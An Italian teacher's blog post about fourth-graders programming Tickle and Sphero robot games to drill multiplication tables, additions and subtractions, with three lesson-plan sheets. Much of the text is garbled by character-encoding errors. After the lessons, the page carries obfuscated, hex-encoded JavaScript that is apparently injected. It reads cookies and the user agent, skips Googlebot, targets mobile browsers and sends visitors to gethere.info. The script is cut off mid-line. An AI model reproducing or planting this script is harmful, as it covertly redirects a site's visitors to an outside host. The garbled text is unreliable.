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Robot e Tickle. Bambini insegnano a bambini le tabelline tramite il coding

Anna Pina Biasco
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2 aprile 2017

Tutto ha preso spunto dallai??i??esigenza di trovare una maniera giocosa per far imparare in brevissimo tempo a una nuova compagna Ai??le tabelline.
E cosAi?? mentre un gruppo lavorava alla realizzazione di questo progetto, di cui qui trovateAi??la documentazione, ho incaricato altri due team momentaneamente “sfaccendati” a progettare qualcosa di simile per i bambini della classe accanto.
Ne sono venuti fuori due progetti di allenamento per il calcolo mentale: uno dedicato alle sottrazioni entro il 5 e un altro alle addizioni con due addendi entro il 10.

In questo articolo trovate:
  • la scheda di presentazione di un gioco realizzato dai miei alunni di quarta per i nostri vicini di classe che sono bimbi di Ai??prima;
  • un filmato di documentazione che contiene:Ai??il video in cui unai??i??alunna della prima sta testando il programma eAi??il video di presentazione del progetto in cui parlano gli alunni che lo hanno realizzato.
  • lo script del programma che A? apribile direttamente da Tickle. In questo modo lo potete usare con i vostri ragazzi per modificarlo e adattarlo alle vostre esigenze.

Scipt di Tickle

Scarica qui lo script

Filmati

Schede progetto

Lesson Title: Tabelline del 7, 8 e 9Ai?? con Tickle
Overview/Rationale:

Gli alunni dovranno realizzare un gioco di allenamento per invogliare allo studio delle tabelline.
Learning Objectives:

gli alunni saranno in grado di:

  • creare un gioco interattivo di allenamento alla memorizzazione delle tabelline
  • selezionare i blocchi di programmazione adatti per porre delle domande, attendere la rispostaAi?? del giocatore e programmare diverse reazioni alla risposta del giocatore (then/else)
  • programmare il comportamento (colore e movimento) di n device (uno per ogni tabellina) in funzione della risposta del giocatore
  • connettere i deviceAi?? al dispositivo
  • testare il programma
 Subject(s)/Topic(s):

Matematica: Tabelline del 7, 8, 9

Coding con lai??i??utilizzo di blocchi di programmazione
Grade Level(s):

Scuola primaria classe 4^ (9-10 anni)

 Government / State / Country Standards:

Italia – Piemonte – Torino
Group Size:

AttivitAi?? da svolgere in piccolo gruppo (max 3 alunni)

 Duration:

90 minuti
Materials:

3 device compatibile con Tickle

n 1 iPad

App Tickle.

 Key Vocabulary:

  1. termini della moltiplicazione> moltiplicando, moltiplicatore, fattori, prodotto.
  2. Comandi dei blocchi in inglese
Essential Question:

  • Sintassi del linguaggio di programmazione Tickle
  • Padronanza dei connettori logici If ai??i?? then ai??i??. else
  • Concatenazione di azioni distribuite contemporaneamente su piA? device ( If ai??i?? then ai??i??. else

Event n)
Lesson Activity Sequence
Teacher Actions:

  1. Assegnazione del compito
  2. Spiegazione di come siAi?? utilizza Tickle; spiegazione deiAi?? principali comandi da usare.
  3. Supervisione, consulenza

5. Ai?? Discussione e riflessione conclusiva

 Student Actions:

  1. Documentazione del lavoro (riprese o foto)
  2. Elaborazione di una prima bozza del progetto
  3. Connessione dei device al dispositivo
  4. Orientamento dei device
  5. Test del programma
  6. Individuazione e risoluzione di eventuali difetti di progettazione
  7. Valutazione delle modifiche effettuate
  8. PresentazioneAi?? del lavoro alla classe
Independent Practice:

Conseguito lai??i??obiettivo gliAi?? alunni hanno creato nuovi progetti con altri obiettivi.

 

Lesson Title: Addizioni semplici con Tickle
Overview/Rationale:

Gli alunni dovranno realizzare un gioco per allenare alunni di classe prima al calcolo a mente.

Addizioni con coppia di addendi complementari del 10.
Learning Objectives:

gli alunni saranno in grado di:

  • creare un gioco interattivo di allenamento al calcolo a mente
  • selezionare i blocchi di programmazione adatti per porre delle domande, attendere la rispostaAi?? del giocatore e programmare due diverse reazioni alla risposta del giocatore then/else
  • programmare con il comportamento di due device (colore e movimento) in funzione della risposta del giocatore
  • connettere i deviceAi?? al dispositivo
  • testare il programma
 Subject(s)/Topic(s):

Matematica: calcolo mentale> addizioni con coppia di addendi complementari del 10. Coding con lai??i??utilizzo di blocchi di programmazione
Grade Level(s):

Scuola primaria classe 4^ (9-10 anni)

 Government / State / Country Standards:

Italia – Piemonte – Torino
Group Size:

AttivitAi?? da svolgere preferibilmente in piccolo gruppo (max 3 alunni)

 Duration:

70 minuti
Materials:

2 device compatibile con Tickle

n 1 iPad

App Tickle.

 Key Vocabulary:

  1. termini dellai??i??addizione> addendi, somma, totale, coppie di addendi complementari.
  2. Comandi dei blocchi in inglese
Essential Question:

  • Sintassi del linguaggio di programmazione Tickle
  • Padronanza dei connettori logici If ai??i?? then ai??i??. else
Lesson Activity Sequence
Teacher Actions:

  1. Assegnazione del compito
  2. Spiegazione di come siAi?? utilizza Tickle; spiegazione deiAi?? principali comandi da usare.
  3. Supervisione, consulenza

5. Ai?? Discussione e riflessione conclusiva

 Student Actions:

  1. Documentazione del lavoro (riprese o foto)
  2. Elaborazione di una prima bozza del progetto
  3. Connessione dei device al dispositivo
  4. Orientamento dei device
  5. Test del programma
  6. Individuazione e risoluzione di eventuali difetti di progettazione
  7. Valutazione delle modifiche effettuate
  8. PresentazioneAi?? del lavoro alla classe
Independent Practice:

Conseguito lai??i??obiettivo gliAi?? alunni hanno creato nuovi progetti con altri obiettivi.
Closure: Explicitly connect ideas, concepts, and skills together, and clearly connect the lesson objectives.
Teacher Reflection:

Agli alunni A? piaciuta molto lai??i??idea del lavoro su commissione e di aver potuto proporre il loro lavoro a unai??i??utenza esterna alla classe.

 Student Reflection: (scale or written response depending on lesson)

One important thing I learned during the lesson wasai??i??

I was a good teammate: Yes or No

What could you have done to be a better collaborator?

One question I still have is:

Etc.
Lesson Title: Sottrazioni semplici con Tickle
Overview/Rationale:

Gli alunni dovranno realizzare un gioco per allenare al calcolo a mente con minuendo ai??i?? 5 alunni di classe prima.
Learning Objectives:

gli alunni saranno in grado di:

  • creare un gioco interattivo di allenamento al calcolo a mente
  • selezionare i blocchi di programmazione adatti per porre delle domande, attendere la rispostaAi?? del giocatore e programmare due diverse reazioni alla risposta del giocatore then/else
  • programmare con lai??i??App Tickle il comportamento del device (colore e movimento) in funzione della risposta del giocatore
  • connettere il deviceAi?? al dispositivo
  • testare il programma
 Subject(s)/Topic(s):

Matematica: calcolo mentale sottrazioni con minuendo ai??i?? 5

Coding con lai??i??utilizzo di blocchi di programmazione
Grade Level(s):

Scuola primaria classe 4^ (9-10 anni)

 Government / State / Country Standards:

Italia – Piemonte – Torino
Group Size:

AttivitAi?? da svolgere preferibilmente in piccolo gruppo (max 4 alunni)

 Duration:

60 minuti
Materials:

n 1 Sphero o BB8 o altro device compatibile con Tickle

n 1 iPad

App Tickle.

Key Vocabulary:

  1. termini della sottrazione > minuendo, sottraendo, resto o differenza.
  2. Comandi dei blocchi in inglese
Essential Question:

  • Sintassi del linguaggio di programmazione Tickle
  • Padronanza dei connettori logici If ai??i?? then ai??i??. else

Lesson Activity Sequence

Teacher Actions:

  1. Assegnazione del compito
  2. Spiegazione di come siAi?? utilizza Tickle; spiegazione deiAi?? principali comandi da usare.
  3. Supervisione, consulenza

Ai??Ai?? Ai?? Ai?? 5. Ai?? Discussione e riflessione conclusiva

Student Actions:

  1. Documentazione del lavoro (riprese o foto)
  2. Elaborazione di una prima bozza della macro
  3. Connessione del device al dispositivo
  4. Orientamento di Sphero
  5. Test del programma
  6. Individuazione e risoluzione di eventuali difetti di progettazione
  7. Valutazione delle modifiche effettuate
  8. PresentazioneAi?? del lavoro alla classe
Independent Practice:

Conseguito lai??i??obiettivo gliAi?? alunni hanno creato nuovi progetti con altri obiettivi come per esempio un programma di allenamento per il calcolo mentale con gli addendi complementari del 10, i cosiddetti amici del dieci.
Closure: Explicitly connect ideas, concepts, and skills together, and clearly connect the lesson objectives.
Teacher Reflection:

Agli alunni A? piaciuta molto lai??i??idea del lavoro su commissione e di aver potuto proporre il loro lavoro a unai??i??utenza esterna alla classe.

Student Reflection: (scale or written response depending on lesson)

One important thing I learned during the lesson wasai??i??

I was a good teammate: Yes or No

What could you have done to be a better collaborator?

One question I still have is:

Etc.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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